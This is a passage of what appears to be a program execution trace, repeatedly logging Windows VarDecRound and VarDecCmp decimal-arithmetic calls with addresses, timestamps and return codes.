pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecCmp (pdecLeft=0x12ff108, pdecRight=0x12feb24) returned 0x1 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecCmp (pdecLeft=0x12feb24, pdecRight=0x12feb14) returned 0x1 [0185.422] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecCmp (pdecLeft=0x12ff108, pdecRight=0x12feb24) returned 0x1 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0186.239] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.239] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.240] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.240] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.241] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.241] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.242] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.242] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.304] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.305] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.306] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.307] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.308] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.309] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.310] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.311] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecCmp (pdecLeft=0x12feb64, pdecRight=0x12feb54) returned 0x2 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb44, cDecimals=0, pdecResult=0x12feb24 | out: pdecResult=0x12feb24) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.312] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, cDecimals=0, pdecResult=0x12feb2c | out: pdecResult=0x12feb2c) returned 0x0 [0186.313] VarDecRound (in: pdecIn=0x12feb1c, 